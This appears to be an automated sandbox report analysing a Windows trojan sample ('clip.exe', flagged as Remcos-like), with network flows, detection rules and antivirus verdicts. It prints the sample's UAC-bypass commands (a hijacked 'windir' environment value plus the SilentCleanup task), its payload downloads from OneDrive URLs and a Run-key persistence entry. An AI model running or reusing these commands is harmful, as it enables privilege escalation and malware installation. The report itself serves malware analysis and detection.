clip.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | July 31, 2021, 1:24 p.m. | July 31, 2021, 1:45 p.m. |
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
2692 -
reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
2488 -
schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
2432
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
1316
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| apwoqw.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
|
13.107.42.12 |
| onedrive.live.com |
CNAME
l-0004.l-msedge.net
|
13.107.42.13 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49200 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.101:49201 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.101:49202 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.101:49200 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | CN=onedrive.com | 24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de |
|
TLSv1 192.168.56.101:49201 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
|
TLSv1 192.168.56.101:49202 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
| section | CODE |
| section | DATA |
| section | BSS |
| packer | BobSoft Mini Delphi -> BoB / BobSoft |
| request | GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21110&authkey=AAUF6ri1a1Q3BDE |
| request | GET https://apwoqw.sn.files.1drv.com/y4mzJ_o-QT3s9l6T9nPYpPZaAIli0HjF2u-yV90Ep0j9sUw4d4AC3WMJF-OM-e4LDZfK_gHXQz-7rW9aUF9wWN9ocRuUBJnOJUhaJpnrvi99K5q63LiHnE-C3aVvYQlagO8yYkqMQ5hGOvRFQrgIRCLIciuGM5xuXo1KkUMW24XNJSgTWUSb-ApWVb0FW9kvFli9ei14VOJoLsJ85KxubDk1w/Xoydyzhptetusfxrsnlrjeibgzoqnla?download&psid=1 |
| request | GET https://apwoqw.sn.files.1drv.com/y4mSrGGVAPntb6QS1Pv0RM3aho-_3OvJ-xqz1r95_NP83E2s01BBsRKVp-fLaBE0NLAcHXFBDhbKS2Gitb_mLr08uiPYAQn3NBCHX8juozPNFKaAPySwap_2bH54MrvWS3DmbksVxwRcs8C0isffy72XdljYKOYDYlFtpv097Dyek633SvvwILTbefHz1YdpqruKOYuC1nDAOuQ9FSnIEJqjA/Xoydyzhptetusfxrsnlrjeibgzoqnla?download&psid=1 |
| file | C:\Users\Public\KDECO.bat |
| file | C:\Users\Public\UKO.bat |
| file | C:\Users\Public\Libraries\Xoydyzh\Xoydyzh.exe |
| file | C:\Users\Public\Trast.bat |
| file | C:\Users\Public\nest.bat |
| cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
| cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
| cmdline | reg delete hkcu\Environment /v windir /f |
| cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
| buffer | Buffer with sha1: 658625db432859d2d0212f07f718826d4e849d8f |
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Xoydyzh | reg_value | C:\Users\Public\Libraries\hzydyoX.url | ||||||
| process | clip.exe | useragent | zipo | ||||||
| process | clip.exe | useragent | aswe | ||||||
| Bkav | W32.AIDetect.malware2 |
| Elastic | malicious (high confidence) |
| MicroWorld-eScan | Trojan.GenericKD.46715909 |
| Cylance | Unsafe |
| Symantec | ML.Attribute.HighConfidence |
| ESET-NOD32 | a variant of Win32/GenKryptik.FIFC |
| APEX | Malicious |
| Paloalto | generic.ml |
| Kaspersky | UDS:Backdoor.Win32.Remcos.gen |
| Avast | Win32:RATX-gen [Trj] |
| Rising | Trojan.Generic@ML.90 (RDML:HCCJj7u19eeMwfheZTzdiA) |
| Sophos | ML/PE-A |
| McAfee-GW-Edition | BehavesLike.Win32.Fareit.ch |
| FireEye | Trojan.GenericKD.46715909 |
| eGambit | Unsafe.AI_Score_65% |
| MAX | malware (ai score=85) |
| Kingsoft | Win32.Hack.Undef.(kcloud) |
| Microsoft | Trojan:Win32/Wacatac.B!ml |
| Cynet | Malicious (score: 100) |
| McAfee | Artemis!E6ED552B84D4 |
| Ikarus | Win32.Outbreak |
| MaxSecure | Trojan.Malware.300983.susgen |
| Fortinet | W32/Injector.ENEX!tr |
| BitDefenderTheta | Gen:NN.ZelphiCO.34050.ZGW@auBrKeki |
| AVG | Win32:RATX-gen [Trj] |
| CrowdStrike | win/malicious_confidence_80% (W) |